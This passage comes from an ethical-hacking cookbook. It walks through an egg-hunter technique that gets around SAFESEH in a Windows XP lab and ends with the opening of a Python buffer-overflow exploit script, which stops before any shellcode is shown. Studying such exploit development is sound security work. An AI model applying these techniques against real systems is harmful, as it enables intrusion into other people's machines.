Kali Linux - An Ethical Hacker's Cookbook

How to do it...

Following are the steps that demonstrate the use of the egg hunter:

1. We start the software on Windows XP and attach it to the debugger:

2. We already know the crash bytes and the address to bypass the SAFESEH.
3. Now we need to add our egg hunter and then use it to jump to our shellcode.
4. As we know, the egg hunter is a shellcode and the basic rule for using a shellcode is to make sure it does not have any bad characters.
5. Let's look at the previous exploit we made:

        #!/usr/bin/python        import socket        target_address="192.168.110.12"        target_port=6660        buffer = "USV "        buffer += "\x41" * 962 #offset        # 6 Bytes SHORT jump to shellcode buffer ...